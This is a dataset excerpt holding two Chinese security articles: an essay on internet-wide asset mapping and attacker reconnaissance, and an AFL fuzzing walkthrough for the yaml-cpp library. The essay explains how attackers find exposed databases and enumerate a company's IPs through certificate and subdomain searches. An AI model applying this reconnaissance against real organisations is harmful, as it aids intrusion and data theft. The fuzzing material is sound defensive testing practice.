text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 网络空间测绘的生与死（三）
##### 译文声明
本文是翻译文章，文章原作者 赵武的自留地，文章来源： 赵武的自留地
原文地址：<https://mp.weixin.qq.com/s/jffEOTF3n028USQujIzmmw>
译文仅供参考，具体内容表达以及含义原文为准。
前两篇讲到了一些网络空间测绘的整体思考，网络空间测绘技术就是为了画出网络地图，这些画出来的地图会用到很多不同的场景。比如一个漏洞出来后对全球的影响范围，比如分析全球公开可以调取视频流的摄像头，再比如刻画全球数据泄露（比如公民数据）的情况，也可以是特定地域内的工业控制系统型号排名。估计大家就比较容易打哈欠了，“什么玩意儿，这都不是正常人会干的事儿，一点价值没有”。我并不否认这一个结论，确实一点意义都没有，正常人都干不出这些事，关键“敌人”们可不都是些非正常人吗？这些事情不对人类产生任何价值，既不会推动人类科学的进步，也不会给大家多一快面包。可是，如果用来做破坏，那简直就是居家旅行必备之良药了。
网络生存法则跟黑暗森林法则类似，如果想安全的生存下去，你就需要隐藏自己，因为“一旦被发现，就必然遭到打击”。被攻击是必然的，不被攻击是极其偶然的特例。理论上没有攻击不下来的系统，被攻击只是一个时间问题，考虑的只有成本和收益。所以当我们跟踪发现某重要单位的机器被用于挖坑，某国的银行系统被几毛钱作为shell卖掉的时候，我们很惊奇地发现，攻击者根本没有意识到被控系统的重要性，属于“顺手”的行为。既然被攻击是必然的，有漏洞是必然的，那么企事业单位如何去衡量防护的有效性？在野蛮生长的早期基于合规性逻辑，最原始的判断方式就是有没有建立产品防护体系，比如购买了防火墙IDS扫描器之类的；随着技术的不断升级与完善，我们不再是像以前那样茹毛饮血，所以大家提出了更高更科学的评判方法：是否能够有效的对重要系统（关键信息基础设施）进行保护，包括数据存储的安全性，业务运营的稳定性。
网络防护不可能做到杜绝漏洞，如果把目标定成这样，那大家就陷入无穷无尽地痛苦中去了。在我们做了大量的基础数据分析和事件跟踪的前提下，我们总结出一个评估安全防护有效值的简单公式：
p = 1 / ( a * t )
其中p代表防护有效值，a代表攻击面，t代表漏洞响应的平均时间。可以看出：防护有效值与攻击面成反比，攻击面越多，防护的有效值越低，反之亦然；同时，防护有效值与漏洞响应的平均时间也成反比，响应时间越长，防护效果越差。这里可能有朋友会问，跟漏洞数没关系吗？没有一点关系是不对的，只是关系并不大，因为一来漏洞数对大家而言是均等的，二来在0day面前，最好的方式是减少攻击面。所以我们认为在评估公式里的权重忽略不计，即便目前没有任何已知漏洞，不代表你的防护效果就是100%，因为你的攻击面一直在那，新漏洞会每天都更新，所以防护方要做的是不断提升自己的响应速度。
这恰恰就是攻击方思路发生的很大变化。我们以前总是假设攻击你的人都是针对性的，他知道你是谁，他知道要获取你的敏感数据。没错，以前确实就是这样的，因为黑客成本最低收益最大的方式就是针对重要目标的定点攻击。然后黑客发现两个大的问题：一是对于某个特定时间点来说，我未必当下刚好有可用有效的漏洞直接把目标系统拿下来，所以我只能守着，时间成本一下拉长；二是我可能并没有针对目标相对比较完整的IP列表，因为最初的做法是一个漏洞奔着主站硬怼就行，后来主站硬怼不下来，针对不那么被关注的小系统也行，毕竟内网是互通的嘛。基于投入产出比的考虑，于是黑客一下又发生了分流，一部分人继续针对重要信息系统，虽然成本很高，但是由于难度大也直接导致了单个收益水涨船高；一部分人想到重要信息系统不好搞，我可以去捏软柿子嘛，“薄利多销”也是能发财的，于是他们想出了几种新模式：从最初控制肉鸡挂黑链导流，到控制大规模肉鸡打DDoS流量，再到加密数据的勒索软件（你的数据对我没用，但是对你有用吧），现在发展为控制肉鸡挖矿虚拟货币。
到后面这几种模式出来的时候，大家已经可以看了出来，目标是谁已经无关紧要了。批量全网范围的无特定目标打击，是一种成本非常低，收益也很可观的“致富”新路，每天都有新的漏洞思路，都有新的系统上线，人的惰性确保了低级的问题此起彼伏，简直就是在送钱。这里值得一提的事，期间出了一种非常小众的安全分支叫“数据泄露猎人”，他们的特征是：即是全网无差别的发现和获取泄露数据，又会针对数据的重要属性进行筛选，提取高价值目标信息。这种模式简直无本万利。
最初数据泄露猎人的诞生跟shodan强相关。技术简直不能再简单：针对大数据库（elasticsearch，solr，hadoop，mongodb等）默认不启用账号认证的情况进行数据获取。能产生巨大变化的前提是，有一个搜索引擎能够告诉你全网存在大量的这种数据库，并且能具体的告诉你IP地址。所以，当一堆的黑客跑到shodan进行数据库搜索并且明确“拿”数据的时候，估计shodan的作者都莫名其妙，他也没想到，原本初衷是为了分析联网的硬件设备，结果一堆人玩数据的不亦乐乎，相比这个而言，后来黑客恶作剧的收集全网能够“偷窥”的摄像头的行为（insecam），简直就太微不足道了。
这时，基本已经宣告一个时代的到来，对于曾经幻想“我有漏洞也不一定就会被攻击，我数据库存在泄露的风险也不一定就等于泄露了啊”的人，被狠狠的用各种安全事故打脸，这是一个全民数据隐私泄露的时代，公民信息，银行卡信息，保密单位的信息，这不是某个国家的事情，而是全球共同遇到的挑战，所以haveibeenpwned网站上线了。人人都是黑客，或者说人人都能是黑客。我们看到的只是极其微小的冰山一角，以至于安全人员都丧失了信心。有次某位领导说做了很多技术来解决隐私问题，我心灰意冷地说“还有意义吗？”
领导反对说“也不是，咱们不还有下一代嘛”，我很是被感动了一把。
讲完这些故事，我只是想告诉大家，在我们吃饭睡觉谈恋爱的时候，有一批黑客，他们每天盯着新出的漏洞和新上线的系统，日夜不休地针对但凡可被控制或者被利用的服务器进行攻击，进行敏感数据获取，进行系统破坏，甚至计算资源的利用。你只要有缝隙，他们就会进来，跟你是不是重要单位或者高价值系统没有关系。这是跟经济利益相关的，跟技术没多大关系。有朋友会说，偷就偷了吧，破坏就破坏了吧，跟我有啥关系。我们稍微想一想，黑客偷的数据有我们，有我们的银行卡号，身份证号，社保号，家庭住址，电话号码，我们的饮食习惯，我们的业务爱好。更有甚者，某一天停电了，地铁停运了，伤害的还是我们。修个路大家出行不方便了大家都会骂娘，交通系统断了这就不再是经济问题了。大家会说，那也不关我的事，这是国家的事。嘿，就等你这句话：网络安全的最终买单者一定是国家。
美国将网络司令部升格为联合作战司令部的时候，算是正式宣称网络战存在的必然性了，不然做什么战？只是一个发明计算机的国家，一个发明了网络的国家，一个被斯诺登披露了各种用网络手段破坏世界和平和隐私次序的国家，高举旗号说为了防止敌人破坏自己的国家安全。嗯，我立刻想起了以前做网站后门识别的时候，一个很自然的规矩是：第一个访问后门地址的人，就是后门的生成者。还有种类似的判断，第一个被杀毒引擎生成特征的机器，很大概率就是木马的来源，因为他们的第一个工作就是要测试能绕过杀毒软件。所以，我们先保护好自己吧。当我们再来讨论黑客的时候，已经不是小偷小摸，而是正式的“军队”。
我们在物理世界还是好好的生活着，而在黑暗的网络森林里，我们不能假设我们是安全的，而是应该问还有哪些是安全的？有大量的安全事件证明，每时每刻，互联网上都有上千万的设备被黑客控制。随着物联网，车联网，智能家居，5G，车联网时代的到来，以及ipv4地址的正式宣告分配完毕，ipv6登上主流的舞台，我们在马上来临的时代，可以预期会有数百亿上千亿的联网设备正式接入网络，每一个产品都将要经历从漏洞百出到逐渐安全的过程。一个物联网设备的漏洞将动辄让数十万的联网设备被控制，这种被攻击是必然的，你没做错任何事情，我也不知道你是谁，唯一的问题是你买了这个设备并且让他联网了，“毁灭你，与你何干”。
IP越多，设备种类越复杂，数据越大，就越需要一种手段来快速检索互联网的一切。这种手段就跟卫星制导是一样的，一方面是随时准备好攻击一切，一方面是随时做好被人攻击的准备。太空网络在建设的空间防御是一样的，你不只是防护人类作战，你还得防护外太空呢，看看卫星的轨道，看看陨石的路线，甚至是不可见的电波是否包含一系列数学符号。这是建立预警机制的前提。
我们稍微先来模拟一下黑客行为。如果我们是黑客，我们会怎么做？虽然我上面举例说了大量无目标的范攻击行为，然而我并没有说高价值的攻击不是定点攻击，他们只是在那里等待，等待着城门大开的那一天。所以黑客的行为大概分这么几类：
第一类，无固定目标地控制网络资产。他们每天会盯着全网漏洞的输出源头（如seclist，exploitdb，metasploit等），一旦有可用做控制的poc，他们会写出exp，直接做持久化控制；数据泄漏也归属到这个范围。
第二类，针对特定商业目标的敏感数据窃取。目标是商业公司，有特定范围，所以他们做的第一件事就是给目标建立攻击面的梳理。漏洞的流程与第一种类似。
第三类，针对特定影响国计民生的关基单位进行敏感数据获取或者直接进行破坏。这种也要梳理攻击面，不过一般就不是一两个目标单位了，而是一个行业或者多个行业。同时，漏洞也不是从来源获取，更多的用上了自挖掘或者购买的0day漏洞。
如上三类黑客不是大家认为的那样泾渭分明，所谓的理想大部分情况下是逐利的幌子，他们的行为方式是根据行情来的，所以他们会在其中游走穿梭。
针对第三种的防护，你必须假设对方有0day，这也是为什么未知威胁的检测是未来必须具备的能力之一。Nday也能结束战斗，但是0day的隐蔽性更强。最初都是特定目标的针对性攻击，后来出现了范目标攻击，这批人小打小闹还好，高价值的最后还是回归到特定目标的打击，这个本质一直存在，只不过从以前硬怼到目前可以悠哉悠哉地先拿下所有，再确定是否重要目标的过程。这个过程的核心就是两个库：每天更新的漏洞库，以及特定目标的攻击面。
漏洞库实在没有值得讲的，它们很重要，它们掌握在极少部分人手里，如何挖掘是一门科学，如何收集也是一门科学，它一定时间内很难自动化。但是攻击面就不一样了，特定目标的攻击面梳理也是一门科学，但是这门科学可以比较快的实现一定的自动化。攻击面梳理的全面性会往两个方向发展：一是特定目标对外开放的实体，比如最直接的IP；二是实体上承载的各组成部分，比如中间件软件系统等各种属性。我们可以简单地理解，一个是宏观，一个是微观，宏观解决的是面的宽度，微观解决的是单个实体的刻画深入度。这里我放一张防护者和攻击者眼里的差异，这种差异也决定了思考方式的不同。
防护方眼里的攻击面，偏财务的台账管理，偏硬件设备和IP系统管理，而在攻击者的眼里，更侧重业务系统，中间件，员工，以及外围的一切可被利用的脆弱点。所以当防守方拿出一万个IP来的时候，黑客眼里可能是十万个攻击点。
我们把上面提到的宏观微观分开来讨论。先来解决企业在互联网上接入了多少ip的问题。一个最简单的模式当然是找到这个企业的根域名，然后通过找到所有的子域名，再解析所有的子域名到ip。看上去很简单，但是这种方式能找出30%就很不错了，谁说根域名只有一个？谁说ip都绑定了域名？你又衍生出几个小问题：如何找到所有的根域名？如何找到没有域名但是有归属的ip地址？黑客比较聪明，他们说我们用备案库查一查，whois查一查，证书查一查（这个方法很有用），C段查一查，icon查一查（这个在shodan中已经支持了，好在它还不支持域名，不然杀伤力更大），再不济用关键字查一查，黑客有一堆的方法，而且他们有的是耐性，也会充分的利用现有的工具。结果就是，当黑客们通过各种入口进来的时候，防护方就震惊了，各种批评追责，然后说“谁他娘的开放了这些IP，为什么不在监控范围”！
总结一下，宏观上的发展就是数据会越来越多，一个是全网IP的采集越来越多（从IPv4到IPv6），一个是端口和协议的支持数越来越多，再一个就是字段的越来越多。如何解决通过一个证书反向推导出所有使用这个SSL证书的IP和域名列表？那就先采集所有的IP和域名，再分析上面部署的证书信息，这个工作量没有难度，就是投资源。没有企业想去建立全球的库，所以企业的资产管理是自顶向下的，而黑客用的方法是自底向上的，先全采集了再说，后续再分析。给出几个案例，大家稍微感受一下就好：<https://crt.sh/?q=%25qq.comhttps://www.virustotal.com/gui/domain/qq.com/detailshttps://spyse.com/search/subdomain?q=qq.comhttps://securitytrails.com/list/apex_domain/qq.comhttps://securitytrails.com/list/ns/ns1.qq.com>
目前来看，各有各的强项，谈不上谁一统天下。
再后续分析的过程就是往微观发展，同样的IP，同样的端口和协议，会对应不同的设备和应用，当然也会对应不同的归属主体。所以微观的发展就是尽可能多的从数据中分析出这个IP对应的各种属性特征。比如你可以给它打上ADSL的标签，可以打上物联网的标签，也可以打上金融行业的标签，可以打上街道的标签。这些都是非常典型的细粒度分析的结果，这些细粒度就对应不同场景的业务需求。比如可以针对数据库输出大小、记录数等属性，再比如可以针对视频给出截图。我们可以认为对应如下的五层分类图代表其中最基础的业务标签属性（数据图来自Goby）：
上图可以看到，硬件层我们可以分析出来为vmware，上面的操作系统层面是CentOS，服务层有Nginx/Mysql/Reidis/OpenSSH，支撑层看到有Struts2，业务层有Jenkins/Kibana系统。这些微观的数据刻画的越细，在未来安全应急中的响应速度就越快。一个IP大家并没有感觉，但是如果有百万台设备，假设Jeninks突发了一个漏洞，这时候你就能快速的从百万台设备里面筛选出来小于100台的范围进行应急。有些企业说，这些应用我们有登记啊，实际情况下，有很多是员工私自搭建的测试环境没有登记，也有人为疏忽漏掉的情况，这样形成了缝隙，黑客一定会进来。最好的方法是自动化的方式解决人为引发的问题，我们通过技术和管理的方式来解决问题。事实上，黑客从漏洞出来到完成全网攻击的时间不超过大约在小时级（我们就能模拟做到同类效果），企业可以想象一下咱们应该如何应对。
对于细粒度的深入分析，我们可以通过shodan来稍微感受一下来能输出的效果，比如数据库，它能刻画出数据库类型，数据库数量，数据大小，数据库列表，数据库字段等等：
有什么用？你觉得有什么用？每一个它能分析出来的数据库都能被下载。任何一个黑客能快速完成全网的数据窃取，当然它们也能掌握全球数据威胁的实时情报，这是态势感知需要具备的高级能力。
或者再看看视频截图的属性，每一个开放的摄像头都可能被用于分析环境，是仓库还是街道，是学校还是政府部门，是卧室还是输油管道。什么？艳照门？这么大威力的武器你们就用来干这种龌蹉事？
粒度越细越深入，对应的产出价值就越高，场景就越具体。可以再看一下原始数据，里面都带有更多细粒度的内容，比如打上云的标签。或者工业控制的标签：
里面涉及的内容太多，甚至是包括CVE的历史漏洞标签，下一篇我会对不同平台的核心区别进行对比分析，着重讲一下。现实远比大家想得更复杂，你看到的只是我想让你看到的，我不想让你看到的你一无所知。目前的这些只是刚刚拉开序幕，很多场景正在不断的涌现，就跟Google出来时只是一个搜索数据库一样，然后他们就做了新闻聚合，做了视频，做了指数，做了舆情分析……我担心的反而不是公开的全资产检索引擎，这方面shodan，censys，fofa，zoomeye各有各的优劣势，很难再有颠覆式的平台出来，但是，对于特定细分领域的搜索平台，其实是一个大家要关注的点。比如expanse这类，专注于物联网设备，这种是未来马上回兴起的新机会。
现在大家都在提态势感知，这个方向我无比认同。但是我并不认同国内的一些炒作概念的做法，概念日新月异，很多安全理念是从欧美国家开始提出来并发展起来的，但是人家是一步一个脚印踩出来的，每一个细分领域都有很踏实的公司完成，每一个细分领域的公司都能活的很好，这在以色列和硅谷非常明显，十几个人能卖几个亿，知识很值钱。但是国内前十几年的发展是选择跳级式的发展，什么数据都没有，也敢跟着喊，直接忽略了前期的积累阶段，但是有并不代表好。所以相对而言，目前国内的大一点的安全公司大多是综合型的解决方案公司，中国的安全市场以前也多是合规型市场，很难给细分领域的安全能力团队留出足够的机会。
我认为，态势感知也好，网络整体防御也罢，你都要知道自己的基本情况。你要时刻清楚有多少攻击面，这是基础中的基础，并且确保攻击面已经全部处在监控和防护体系之下，只有这样才能形成正确的认知和做出快速的决策。显然国内重要单位在这方面路还很长，太多次的成功入侵证明，被攻击并非防火墙没用，而是排兵布阵的方式不对。我经常用的一个比喻是：企业用坚不可摧的钢铁头盔护住了头部，谁也打不穿，但是脖子以下全然不顾，你可以伤害他的心脏，肚子，四肢，而血液是内部贯穿着的，所以防护方构建了马其顿防线，敌人绕开防线为所欲为。
网络安全是一门及其复杂也存在很多分支的科学，随着IT技术的不断变化，衍生了太多的场景以及对应的技术，比如从最初的PC安全开始，有杀毒，有系统安全，然后有了网络安全，网站安全，数据库安全，又有了移动安全，无线安全，再有了物联网安全，云安全，大数据安全，车联网安全，5G安全。我的结论有两个：一）没有任何一家能把这些全做精做深，如果有，那他一定是一个集成商。未来会越来越多的给细分领域的能力者提供机会，因为只有这样才能保证技术的领先性以及防御的全面性；二）安全将会回归本质，不管技术如何发展，武器再变战场不变，攻防的前提是一本地图。只有展开这本正确无误的详细地图，才能从有勇无谋的瞎子进化成指点江山的将才，才能真正做到知己知彼百战百胜。网络空间测绘就是提供地图的方式。 | 社区文章 |
在这篇文章中，我们希望从头到尾完成一项模糊的工作。 这到底是什么意思？
首先，即使找到一个好的软件来进行模糊测试似乎也令人生畏，但是您可以遵循某些标准，这些标准可以帮助您确定在模糊测试中什么是有用且容易上手的。
有了软件后，对它进行模糊处理的最佳方法是什么？ 那我们应该使用哪些测试用例呢？ 我们如何知道我们做得如何，或者目标软件中可能缺少哪些代码路径？
我们希望涵盖所有这些内容，以提供全彩色的360度视图，说明如何从头到尾有效，高效地执行完整的模糊工作流程。 为了易于使用，我们将重点介绍AFL框架。
# 我该fuzz什么？ 找到正确的软件
AFL在C或C ++应用程序上效果最好，因此这是我们应该在想要模糊的软件中寻找的一项标准。 在寻找模糊软件时，我们可以问自己几个问题。
1. 有示例代码吗
* 该项目附带的任何实用程序都有可能过于繁重，可以出于模糊的目的而进行精简。 如果项目具有简单的示例代码，这将使我们的工作变得更加轻松。
2. 我能自己编译吗
* 当您能够从源代码构建软件时，AFL效果最佳。 它确实支持使用QEMU即时检测黑匣子二进制文件，但这超出了范围，并且性能往往很差。 在理想的情况下，我可以轻松地使用afl-clang-fast或afl-clang-fast ++构建软件。
3. 是否有容易获得的和独特的测试用例？
* 我们可能会模糊文件格式（尽管可以进行一些调整，但可以模糊网络应用程序），并且有一些独特而有趣的测试用例可以为我们提供一个良好的开端。 如果项目具有包含文件测试用例的单元测试（或将文件包含先前已知的错误用于回归测试），那么这也是一个的胜利。
这些问题会帮助我们节约很多时间，如果你直接开始一会儿就会很头痛。
好的，但是如何找到有关这些问题的软件？ Github是最适合的地方，因为您可以轻松地搜索最近更新的并用C或C ++编写的项目。
例如，在Github中搜索所有200星以上的C ++项目，使我们找到了一个显示出很大希望的项目：yaml-cpp（<https://github.com/jbeder/yaml-cpp）。> 让我们用三个问题来研究它，看看我们有多容易得到这种模糊测试。
1. 我可以自己编译吗？
* yaml-cpp使用cmake作为其构建系统。 当我们可以定义要使用的编译器时，这看起来很棒，而且afl-clang-fast ++很有可能会运行Just™。 yaml-cpp的README文件中的一个有趣注释是，它默认情况下会构建一个静态库，这对我们来说是完美的，因为我们希望为AFL提供一个静态编译和检测到的二进制文件。
2. 有示例代码吗？
* 在项目根目录（<https://github.com/jbeder/yaml-cpp/tree/master/util）的util文件夹中，有一些小的cpp文件，它们是简明的实用程序，展示了以下功能：> yaml-cpp库。 特别感兴趣的是parse.cpp文件。 这个parse.cpp文件非常完美，因为它已经被编写为可以接收来自stdin的数据，并且我们可以轻松地使其适应AFL的持久模式，这将大大提高速度。
3. 有容易获得的和独特/有趣的测试用例吗？
* 在项目根目录的test文件夹中，有一个名为specexamples.h的文件，其中包含许多独特而有趣的YAML测试用例，每个用例似乎都在yaml-cpp库中执行特定的代码段。 同样，对于我们来说，这非常适合作为模糊测试的种子。
程序看起来很简单来开始fuzz 测试，lets‘s do it。
# 开始fuzz
我们将不介绍安装或设置AFL，因为我们假定已经完成了。 我们还假设还已经构建并安装了afl-clang-fast和afl-clang-fast ++。
尽管afl-g ++应该可以正常工作（尽管您不会使用出色的持久模式），但afl-clang-fast ++无疑是首选。 让我们获取yaml-cpp代码库，并使用AFL进行构建。
# git clone https://github.com/jbeder/yaml-cpp.git
# cd yaml-cpp
# mkdir build
# cd build
# cmake -DCMAKE_CXX_COMPILER=afl-clang-fast++ ..
# make
or afl-g++
cmake -DCMAKE_CXX_COMPILER=afl-g++
一旦我们知道一切都可以成功构建，就可以对某些源代码进行一些更改，以便AFL可以提高速度。
从项目的根目录/util/parse.cpp中，我们可以更新main()。
int main(int argc, char** argv) {
Params p = ParseArgs(argc, argv);
if (argc > 1) {
std::ifstream fin;
fin.open(argv[1]);
parse(fin);
} else {
parse(std::cin);
}
return 0;
}
使用这个简单的main（）方法，我们可以更新if语句的else子句，以包括一个while循环和一个称为__AFL_LOOP（）的特殊AFL函数，该函数使AFL可以通过某种内存向导基本上对进程中的二进制文件进行模糊处理。
，而不是为我们要测试的每个新测试用例启动一个新流程。 让我们看看会是什么样子。
if (argc > 1) {
std::ifstream fin;
fin.open(argv[1]);
parse(fin);
} else {
while (__AFL_LOOP(1000)) {
parse(std::cin);
}
}
注意else子句中的新while循环，我们将1000传递给__AFL_LOOP（）函数。
这告诉AFL在启动一个新的过程以进行同样的测试之前，最多要模糊处理1000个测试用例。
通过指定更大或更小的数字，您可以增加执行次数，但以牺牲内存使用为代价（或者受内存泄漏的支配），并且可以根据正在使用的应用程序进行高度可调。
添加这种类型的代码以启用持久模式也不总是那么容易。 由于启动期间产生的资源或其他因素，某些应用程序可能没有支持轻松添加while循环的体系结构。
回到build目录，重新编译 。 重新编译遇到问题 afl-clang-fast++ compile 失败，error 003 。 索性直接用afl-g++
# 测试二进制文件
程序编译好以后可以使用afl附加的工具afl-showmap，afl-showmap
会运行一个给定的二进制文件（通过标准输入将输入传给二进制文件）并且打印程序运行期间的反馈报告。
# afl-showmap -o /dev/null -- ./parse < <(echo hi)
afl-showmap 2.56b by <[email protected]>
[*] Executing './parse'...
-- Program output begins -- hi
-- Program output ends -- [+] Captured 1748 tuples in '/dev/null'.
通过将输入更改为应该使用新代码路径的内容，你会看到报告末尾出现的元组数量增加或减少。
# afl-showmap -o /dev/null -- ./parse < <(echo hi:blah)
afl-showmap 2.56b by <[email protected]>
[*] Executing './parse'...
-- Program output begins -- hi:blah
-- Program output ends -- [+] Captured 1771 tuples in '/dev/null'.
正如所看到的， 发送了一个yaml 键 hi 展示了1748个反馈元祖，第二次发送了 hi:blah 展示了1771个反馈元祖。
# 使用更好的测试用例
最初为您的Fuzzer注入测试的用例是（如果不是）最重要的方面之一，即是否会看到Fuzz运行是否导致一些良好的崩溃。 如前所述，yaml-cpp测试目录中的specexamples.h文件具有出色的测试用例，供我们开始使用，但它们甚至可以更好。
为此，我手动将示例从头文件复制并粘贴到测试用例中，以节省读者的时间，此处链接的是我用于复制目的的原始种子文件。
afl 附带的两个工具我们可以用来确定：
* 测试语料库中的文件尽可能有效地唯一
* 每个测试文件都尽可能有效地表示其唯一的代码路径
afl-cmin和afl-tmin这两个工具完成所谓的“最小化”。 afl-cmin提取给定的潜在测试用例文件夹，然后运行每个用例并将接收到的反馈与所有其余测试用例进行比较，以找到最佳的测试用例。 有效地表达最独特的代码路径。
最好的测试用例将保存到新目录。
另一方面，afl-tmin工具仅适用于指定的文件。 在进行模糊测试时，我们不想浪费CPU周期来摆弄相对于测试用例可能表示的代码路径无用的位和字节。
为了将每个测试用例最小化到表示与原始测试用例相同的代码路径所需的最低限度，afl-tmin遍历测试用例中的实际字节，逐渐删除越来越小的数据块，直到删除了所有
不影响所采用的代码路径。 有点多，但是这些是有效进行模糊测试的非常重要的步骤，是需要理解的重要概念。 让我们来看一个例子。
git仓库中我创建了从specexample.h文件中的原始测试用例， 我们用两个文件来开始。
1
Mark McGwire
Sammy Sosa
Ken Griffey
2
hr: 65 # Home runs
avg: 0.278 # Batting average
rbi: 147 # Runs Batted In
# afl-tmin -i in/1 -o in/1.min -- ./parse
afl-tmin 2.56b by <[email protected]>
[+] Read 36 bytes from 'in/1'.
[*] Performing dry run (mem limit = 50 MB, timeout = 1000 ms)...
[+] Program terminates normally, minimizing in instrumented mode.
[*] Stage #0: One-time block normalization...
[+] Block normalization complete, 12 bytes replaced.
[*] --- Pass #1 --- [*] Stage #1: Removing blocks of data...
Block length = 2, remaining size = 36
Block length = 1, remaining size = 36
[+] Block removal complete, 0 bytes deleted.
[*] Stage #2: Minimizing symbols (16 code points)...
[+] Symbol minimization finished, 13 symbols (18 bytes) replaced.
[*] Stage #3: Character minimization...
[+] Character minimization done, 0 bytes replaced.
[*] --- Pass #2 --- [*] Stage #1: Removing blocks of data...
Block length = 2, remaining size = 36
Block length = 1, remaining size = 36
[+] Block removal complete, 0 bytes deleted.
File size reduced by : 0.00% (to 36 bytes)
Characters simplified : 83.33%
Number of execs done : 96
Fruitless execs : path=79 crash=0 hang=0
[*] Writing output to 'in/1.min'...
[+] We're done here. Have a nice day!
# cat 1.min
0000 0000000
00000 0000
000 0000000
这是AFL功能强大的一个很好的例子。 AFL不知道YAML是什么或它的语法是什么，但是它实际上能够将不是用于表示键值对的特殊YAML字符的所有字符归零。
通过确定更改这些特定字符将极大地改变已检测二进制文件的反馈，便可以做到这一点，并且应将它们单独放置。
它还从原始文件中删除了四个字节，这些字节不会影响所采用的代码路径，因此，这将减少四个字节，这将浪费CPU周期。
为了快速最小化开始的测试语料库，我通常使用quick for循环将每个最小化为一个新文件，并将其扩展为.min。
# for i in *; do afl-tmin -i $i -o $i.min -- ~/parse; done;
# mkdir ~/testcases && cp *.min ~/testcases
此for循环将遍历当前目录中的每个文件，并使用afl-tmin将其最小化为一个与第一个文件同名的新文件，只是在文件后添加.min。 这样，我可以仅将cp *
.min cp到用于将AFL用作种子的文件夹。
# 开始fuzz
这是大多数令人费解的演练的结尾部分，但是我向您保证，这仅仅是开始！既然我们已经有了一套高质量的测试用例来作为AFL的种子，那么我们就可以开始了。可选地，我们还可以利用字典标记功能为YFL特殊字符添加AFL种子，以增加效力，但我将其作为练习留给读者。
AFL有两种模糊测试策略，一种是确定性策略，另一种是随机且混乱的策略。启动afl-fuzz实例时，可以指定希望该fuzz实例遵循的策略类型。一般而言，您只需要一个确定性（或主）模糊器，但是您可以使用盒子可以处理的任意数量（或从属）模糊器。如果您过去曾经使用过AFL，但不知道这是在说什么，那么您以前可能只运行过一个afl-fuzz实例。如果未指定模糊测试策略，则afl-fuzz实例将在每个策略之间来回切换。
afl-fuzz -i in -o out ./parse -M fuzzer1 -- ./parse
afl-fuzz -i in -o out ./parse -S fuzzer2 -- ./parse
命令中使用的参数-M和-S。 通过将-M fuzzer1传递给afl-fuzz，我告诉它是Master
fuzzer（使用确定性策略），并且fuzz实例的名称为fuzzer1。 另一方面，传递给第二个命令的-S
fuzzer2表示使用随机，混乱的策略并以fuzzer2的名称运行实例。 这两个模糊器将彼此配合工作，并在发现新的代码路径时来回传递新的测试用例。
# 什么时候结束
一旦模糊测试器运行了相对较长的时间（我想等到主模糊测试器至少完成它的第一个周期，从属实例通常到那时才完成许多周期），我们不应该只是停止工作并开始查看崩溃。在进行模糊测试时，AFL有望创建大量新的测试用例集，其中仍然可能存在漏洞。我们应该尽可能地减少这种新语料，然后重新播种我们的模糊器，让它们运行更多。这是没有演练讨论的过程，因为它很无聊，乏味并且可能需要很长时间，但是对于高效的模糊测试至关重要。
yaml-cpp解析二进制文件的主模糊器完成第一个周期（对我来说，这大约花了10个小时，对于一个普通的工作站来说，它可能要花24个小时），我们可以继续并停止我们的afl-fuzz实例。我们需要合并并最小化每个实例的队列，然后再次重新开始模糊测试。当使用多个模糊测试实例运行时，AFL将在您指定为afl-fuzz的参数的输出文件内部为每个模糊测试维护一个单独的同步目录。每个单独的模糊器输出文件都包含一个队列目录，其中包含AFL能够生成的所有测试用例，这些测试用例导致了值得检查的新代码路径。
我们需要合并每个模糊实例的队列目录，因为它们会有很多重叠，然后将这组新的测试数据最小化。
# cd out
# ls
fuzzer1 fuzzer2
# mkdir queue_all
# afl-cmin -i queue_all/ -o queue_cmin -- ../parse
corpus minimization tool for afl-fuzz by <[email protected]>
[*] Testing the target binary...
[+] OK, 1780 tuples recorded.
[*] Obtaining traces for input files in 'queue_all/'...
Processing file 7483/7483...
[*] Sorting trace sets (this may take a while)...
[+] Found 37265 unique tuples across 7483 files.
[*] Finding best candidates for each tuple...
Processing file 7483/7483...
[*] Sorting candidate list (be patient)...
[*] Processing candidates and writing output files...
Processing tuple 37265/37265...
[+] Narrowed down to 1252 files, saved in 'queue_cmin'.
通过afl-cmin运行生成的队列后，我们需要最小化每个生成的文件，以免将CPU周期浪费在不需要的字节上。
但是，与仅仅最小化开始的测试用例相比，现在的文件要多得多。 一个用于最小化数千个文件的简单for循环可能需要几天的时间，而且没有人有时间这样做。
随着时间的流逝，我写了一个叫做afl-ptmin的小型bash脚本，该脚本将afl-tmin并行化为一定数量的进程，并被证明可以极大地提高速度。
#!/bin/bash
cores=$1
inputdir=$2
outputdir=$3
pids=""
total=`ls $inputdir | wc -l`
for k in `seq 1 $cores $total`
do
for i in `seq 0 $(expr $cores - 1)`
do
file=`ls -Sr $inputdir | sed $(expr $i + $k)"q;d"`
echo $file
afl-tmin -i $inputdir/$file -o $outputdir/$file -- ~/parse &
done
wait
done
与afl-fuzz实例一样，我建议仍在屏幕会话中运行此实例，以免网络故障或关闭的终端引起您的痛苦和痛苦。
它的用法很简单，只需三个参数，即要启动的进程数，要最小化测试用例的目录以及要写入最小化的测试用例的输出目录。
~/afl-ptmin 8 ./queue_cmin/ ./queue/
即使进行了并行化，此过程仍可能需要一段时间（24小时以上）。 对于使用yaml-cpp生成的语料库，它应该能够在一个小时左右内完成。
完成后，我们应该从各个模糊器syncdir中删除先前的队列目录，然后复制队列/文件夹以替换旧的队列文件夹。
# rm -rf fuzzer1/queue
# rm -rf fuzzer2/queue
# cp -r queue/ fuzzer1/queue
# cp -r queue/ fuzzer2/queue
当有了新的队列是，我们可以重新开始fuzz.
#afl-fuzz -i- -o syncdir/ -S fuzzer2 -- ./parse
#afl-fuzz -i- -o syncdir/ -M fuzzer1 -- ./parse
如果您注意到了，我们没有在每次调用afl-fuzz时都将-i参数传递给目录以读取测试用例，而是简单地传递了一个连字符。
这告诉AFL仅将该模糊器的syncdir中的queue /目录用作种子目录，然后从那里开始备份。
整个过程可以启动模糊测试作业，然后停止以最小化队列，然后重新启动作业，可以根据您的需要进行多次（通常直到感到无聊或停止寻找新的代码路径为止）。
还应该经常这样做，因为否则您将浪费电费，浪费字节，以后再也不会付给您任何费用。
# 崩溃分类
模糊测试生命周期中另一个传统乏味的部分是对您的发现进行分类。 幸运的是，已经编写了一些很棒的工具来帮助我们。
一个很好的工具 crashwalk （by @rantyben），
它会自动执行gdb和一个特殊的gdb插件，以快速确定哪些崩溃可能导致可利用的条件，也可能不会导致可利用的条件。
